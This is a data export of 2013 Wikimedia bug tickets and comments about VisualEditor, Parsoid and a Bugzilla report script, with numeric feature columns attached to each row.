+plwiki (""prawo,right""): https://pl.wikipedia.org/w/index.php?diff=36790309
+
+This feels like a Parsoid issue (VisualEditor doesn't know about localisations of these terms :-)) but Inez can tell us more details.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1371690720,1372192576.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-ipvexqb24ep4dnkhsnif,task_description,resolved,True,c1,2,True,False,True,-2,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,1,0,1,0,0
+254516,"Images: Image insertion uses both the English and the localised syntax for ""right""",[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372934016,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-ipvexqb24ep4dnkhsnif,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1
+254513,"Images: Image insertion uses both the English and the localised syntax for ""right""",https://gerrit.wikimedia.org/r/70343 (Gerrit Change I9717e9d4b3b79cc9e583fb74e3537fbb5112a7bf) | change APPROVED and MERGED [by jenkins-bot],,,1372115880,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ipvexqb24ep4dnkhsnif,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+254509,"Images: Image insertion uses both the English and the localised syntax for ""right""",Related URL: https://gerrit.wikimedia.org/r/70343 (Gerrit Change I9717e9d4b3b79cc9e583fb74e3537fbb5112a7bf),,,1372114620,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ipvexqb24ep4dnkhsnif,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+254506,"Images: Image insertion uses both the English and the localised syntax for ""right""","AFAIC, there is nothing wrong in using the localized version. The problem is to use both.",,,1371815473,,PHID-USER-sryrz6tgcfnnsiddx32p,True,,,PHID-TASK-ipvexqb24ep4dnkhsnif,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+254503,"Images: Image insertion uses both the English and the localised syntax for ""right""","These magic words are translateable at (for example for Polish) http://translatewiki.net/w/i.php?language=pl&module=words&title=Special%3AAdvancedTranslate - the entry for ""right"" says ""prawo, right"", which means both ""prawo"" and ""right"" are accepted and mean the canonical ""right"".
+
+This looks as if Parsoid was calling (implicitly?) .toString() on an array of these terms instead of taking its first entry: ['prawo', 'right'].toString() == 'prawo,right'.",,,1371714512,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-ipvexqb24ep4dnkhsnif,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+254496,"Images: Image insertion uses both the English and the localised syntax for ""right""","**winne2i** wrote:
+
+(I also mentioned ""/ramka/ means /frame/"" but I suppose ""ramka"" would be localised ""thumb""…?)",,,1371705767,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-ipvexqb24ep4dnkhsnif,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0
+254489,"Images: Image insertion uses both the English and the localised syntax for ""right""","**winne2i** wrote:
+
+It's not a
+ (localised 'thumb'),right
+this is
+ (localised 'right'),right
+as I mentioned in bug 49596 comment 6.",,,1371705686,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-ipvexqb24ep4dnkhsnif,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0
+254480,"Images: Image insertion uses both the English and the localised syntax for ""right""",Correct - it is a Parsoid bug. Somehow it is similar to https://bugzilla.wikimedia.org/show_bug.cgi?id=48665 but definitely not a duplicate.,,,1371699745,,PHID-USER-s7sn3zjthnxvep34c5ho,True,,,PHID-TASK-ipvexqb24ep4dnkhsnif,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+51845,"Weekly Bugzilla Report: ""Created reports per product"" lists random products, not those with highest numbers","Whenever you think that you've fixed that damn script, you suddenly realize there's something else that's still wrong.
+
+
+Testing the fix for bug 49758, looking at its results:
+
+Created reports per component:
+VisualEditor           General                       33
+MediaWiki extensions   UniversalLanguageSelector     27
+VisualEditor           Editing Tools                 25
+VisualEditor           MediaWiki integration         12
+Wikimedia              Bugzilla                      11
+
+Created reports per product:
+MediaWiki                     43 
+Wikimedia                     45 
+MediaWiki extensions          104
+Security                      3  
+Tools                         5  
+
+it is clear that the ""product"" list does not list those products with the **highest** number of new tickets in the last week.
+
+This can be also seen on
+https://bugzilla.wikimedia.org/report.cgi?x_axis_field=&y_axis_field=product&z_axis_field=&query_format=report-table&short_desc_type=allwordssubstr&short_desc=&longdesc_type=allwordssubstr&longdesc=&bug_file_loc_type=allwordssubstr&bug_file_loc=&status_whiteboard_type=allwordssubstr&status_whiteboard=&keywords_type=allwords&keywords=&bug_id=&bug_id_type=anyexact&votes=&votes_type=greaterthaneq&emailtype1=substring&email1=&emailtype2=substring&email2=&emailtype3=substring&email3=&chfield=[Bug+creation]&chfieldvalue=&chfieldfrom=-7d&chfieldto=Now&j_top=AND&f1=noop&o1=noop&v1=&format=table&action=wrap
+
+which right now lists these top 5 products:
+
+MediaWiki extensions  104
+VisualEditor          95
+MediaWiki             48
+Wikimedia             47
+Parsoid               23
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",High,80.0,1371682740,1372340940.0,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,False,PHID-TASK-epwwpgqwza3gwnpfjm7f,task_description,resolved,True,c1,2,True,False,True,-2,,0,1,0,1,1,1,1,0,0,0,1,1,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,0,0,1,1,1,1,0,0,0,0,1,1,0,1,1,1,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,0,0,1,0,1,0
+254045,"Weekly Bugzilla Report: ""Created reports per product"" lists random products, not those with highest numbers",Deployed.,,,1372340940,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-epwwpgqwza3gwnpfjm7f,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+254043,"Weekly Bugzilla Report: ""Created reports per product"" lists random products, not those with highest numbers","Shizzle, /me blind. ""ORDER BY foo DESC"" is teh win!",,,1371711921,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-epwwpgqwza3gwnpfjm7f,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+254040,"Weekly Bugzilla Report: ""Created reports per product"" lists random products, not those with highest numbers",Related URL: https://gerrit.wikimedia.org/r/69629 (Gerrit Change Iecdc7439463f58be272cf0b73f662ac91d0b061b),,,1371711788,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-epwwpgqwza3gwnpfjm7f,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+254035,"Weekly Bugzilla Report: ""Created reports per product"" lists random products, not those with highest numbers","Looking back at the very first revision of operations/puppet/templates/misc/bugzilla_report.php it already says:
+
+getBugsPerProduct() uses
+SELECT name, count(*) FROM bugs
+but
+getBugsPerComponent() uses
+SELECT name, count(*) as total FROM bugs
+
+That's the only difference I can spot in the query designs.",,,1371687352,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-epwwpgqwza3gwnpfjm7f,task_subcomment,,True,c1,2,True,,,-2,,0,0,1,0,0,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+51838,VisualEditor: TemplateSpecModel should expand aliases,"TemplateSpecModel currently doesn't expand aliases, so if it knows something as ""foo"" with an alias of ""1"" and the dialog asks about ""1"", it returns nothing.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1371671820,1372038971.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-xszasferpgmq6tda243w,task_description,resolved,True,c1,2,True,False,True,-2,,0,1,0,0,1,1,0,0,0,1,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0
+253574,VisualEditor: TemplateSpecModel should expand aliases,"See https://www.mediawiki.org/wiki/Extension:TemplateData#Defining_a_TemplateData_block
+
+Example:
+
+{
+  params: {
+    image: {
+      label: 'File name',
+      ...,
+      aliases: ['1', 'Image', 'Filename', .. ]
+    }
+  }
+}",,,1374680706,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-xszasferpgmq6tda243w,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1
+253569,VisualEditor: TemplateSpecModel should expand aliases,"More a question that a bug. How do you specify an alias using templateData? There are lots of examples which use alternate capitalisation for parameters. For example {{Infobox World Heritage Site}}
+http://en.wikipedia.org/wiki/Template:Infobox_World_Heritage_Site
+uses both 'Image' and 'image' to specify an image. To specify both makes the documentation clumsy. An alias would be ideal.
+
+Also {{Quote}}}
+http://en.wikipedia.org/wiki/Template:Quote
+can be given in two forms, either positional:
+{{quote|phrase|person|source}} 
+or named:
+{{quote|text=phrase|sign=person|source=source}}
+Currently both are documented but it would be nicer to use aliases.",,,1374679695,,PHID-USER-7hrs7wwclcldf7mm6a7o,True,,,PHID-TASK-xszasferpgmq6tda243w,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,1,1,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,0
+253564,VisualEditor: TemplateSpecModel should expand aliases,Related URL: https://gerrit.wikimedia.org/r/70111 (Gerrit Change I37ec0e152df905844ac58ed1834fca29dccb4eec),,,1372033560,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-xszasferpgmq6tda243w,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+51831,VisualEditor: Blank transclusion block doesn't get converted into blankness,"Using Chrome27.0.1453.110 m
+Replicated on Firefox 21.0
+
+Attempting to remove a template using the puzzle piece and ""remove"" function seems to succeed but leaves behind the following code:
+<span data-mw=""{&quot;parts&quot;:[]}"" class=""metadata plainlinks ambox ambox-style ambox-Orphan"" style></span>
+
+See:
+http://en.wikipedia.org/w/index.php?title=Cocking-cloth&diff=560630933&oldid=324780702
+
+and 
+http://en.wikipedia.org/w/index.php?title=Cocking-cloth&diff=560631541&oldid=560631467
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1371661680,1371748525.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-d6c7qzgfg4jsrlzfag4r,task_description,resolved,True,c1,2,False,False,True,-2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,1,0,0,1
+253247,VisualEditor: Blank transclusion block doesn't get converted into blankness,*** Bug 49970 has been marked as a duplicate of this bug. ***,,,1371844137,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-d6c7qzgfg4jsrlzfag4r,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+253240,VisualEditor: Blank transclusion block doesn't get converted into blankness,Merged and will be going out with next push.,,,1371748525,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-d6c7qzgfg4jsrlzfag4r,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+253235,VisualEditor: Blank transclusion block doesn't get converted into blankness,Related URL: https://gerrit.wikimedia.org/r/69686 (Gerrit Change Ic5d4fbf73f3d1be9cf877bc8b98096de9e98991a),,,1371745439,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-d6c7qzgfg4jsrlzfag4r,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+253229,VisualEditor: Blank transclusion block doesn't get converted into blankness,*** Bug 49855 has been marked as a duplicate of this bug. ***,,,1371744867,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-d6c7qzgfg4jsrlzfag4r,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+253223,VisualEditor: Blank transclusion block doesn't get converted into blankness,*** Bug 49835 has been marked as a duplicate of this bug. ***,,,1371728132,,PHID-USER-sx63fwaih5kjt7bz4u6z,True,,,PHID-TASK-d6c7qzgfg4jsrlzfag4r,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+51820,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor","When a user inserts [[links]] or {{templates}}, VisualEditor automatically wraps them into <nowiki> tags. Experienced contributors who are very used to using this syntax sometimes add it inadvertently.
+
+It would be a nice touch to show an unobtrusive warning to remind users that they need to use VisualEditor's menu to insert links, templates & other wikisyntax. LiquidThreads does this well when users insert their signature manually with ~~~ into their post
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49686
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50527
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50601",High,80.0,1371651600,1375203346.0,PHID-USER-z6nzrwuaij3spgyg23jt,False,,False,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_description,resolved,True,c1,2,False,False,True,-2,,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,1
+252654,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor","The issue that caused this to be reopened (bug 52093) has been fixed and will be deployed soon; consequently, reclosing this.",,,1375203346,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0
+252649,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor","Change 76701 merged by jenkins-bot:
+Set links in wikitext warning to load in new window
+
+https://gerrit.wikimedia.org/r/76701",,,1375201474,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+252643,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor","(In reply to comment #27)
+...
+> I realize that smarter users can right-click and then open the link in either
+> another tab or a new page, avoiding the question of whether they want to
+> leave
+> their editing session. But if we're aiming at the average user, it would be
+> great if this link were pre-defined as opening another window, so that a
+> simple
+> click on the link didn't result in a perturbed user.
+
+Reported on bug 52093.",,,1375189962,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1,1,0,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,1,0,1
+252634,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor","(In reply to comment #27)
+> If it's not one thing, it's another ...
+
+Welcome to software development.",,,1375180789,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1
+252624,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor","Change 76701 had a related patch set uploaded by Esanders:
+Set links in wikitext warning to load in new window
+
+https://gerrit.wikimedia.org/r/76701",,,1375180094,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+252615,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor","If it's not one thing, it's another ... The popup message is now visible no matter where in a page the wikitext is being entered. So that's progress.
+
+The popup is still too inconspicuous for my tastes (and a great opportunity for A/B testing), but that's not what I'm posting about. My concern is with the link that the popup message includes (the label is ""wikitext""; the target is [[Help:Wiki markup]]). If that link is clicked, the system **asks the user whether he/she wants to leave the editing page**. That's a bit user-unfriendly.
+
+I realize that smarter users can right-click and then open the link in either another tab or a new page, avoiding the question of whether they want to leave their editing session. But if we're aiming at the average user, it would be great if this link were pre-defined as opening another window, so that a simple click on the link didn't result in a perturbed user.",,,1374794028,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,0,1,0,1,1,1,0,1,1,0,1,1,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+252608,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor","(In reply to comment #24)
+> The continued flow of markup errors shown by
+> http://en.wikipedia.org/w/index.php?title=Special:AbuseLog&wpSearchFilter=550
+> is a pretty good indication that the warning either isn't obtrusive enough or
+> clear enough. We're still seeing about 20 articles an hour corrupted because
+> of
+> this.
+> 
+
+there was a problem with the message (it opened at top of page instead of top of screen), because of bug 50870. since this bug is fixed, the message will become more effective (afaik, this fix was deployed on July 22).
+
+personally, i think that the right solution is outlined in bug 51897. however, ATM 51897 is marked as ""low"". if you think like i do, maybe you should lobby to bump up the priority of 51897.
+
+
+peace.",,,1374792947,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,1,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,1,1,1,1,0,1,1,1,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,1,0,1,0,1,1,0,1
+252601,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor","Another possibility: provide a side by side view of the two options the user has, and ask for confirmation:
+https://en.wikipedia.org/w/index.php?oldid=564535137#bug49820",,,1373995371,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0
+252595,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor","**kwwilliams** wrote:
+
+The continued flow of markup errors shown by http://en.wikipedia.org/w/index.php?title=Special:AbuseLog&wpSearchFilter=550 is a pretty good indication that the warning either isn't obtrusive enough or clear enough. We're still seeing about 20 articles an hour corrupted because of this.
+
+I think this really needs a positive checkoff dialog, and the article shouldn't be saved until the editor has agreed that he really wants strings of brackets and pipes in his text. Having these in legitimately is an extremely rare case, especially for a novice editor. I'd block the edit with the edit filter if I could, but VE isn't able to display edit filter messages properly.",,,1373993008,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,False,,,2,,0,0,1,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,0,0,1,0,1,1,1,1,0,1,0,1,0,1,1,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+252589,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor","(In reply to comment #19)
+> Depends on bug 51432
+
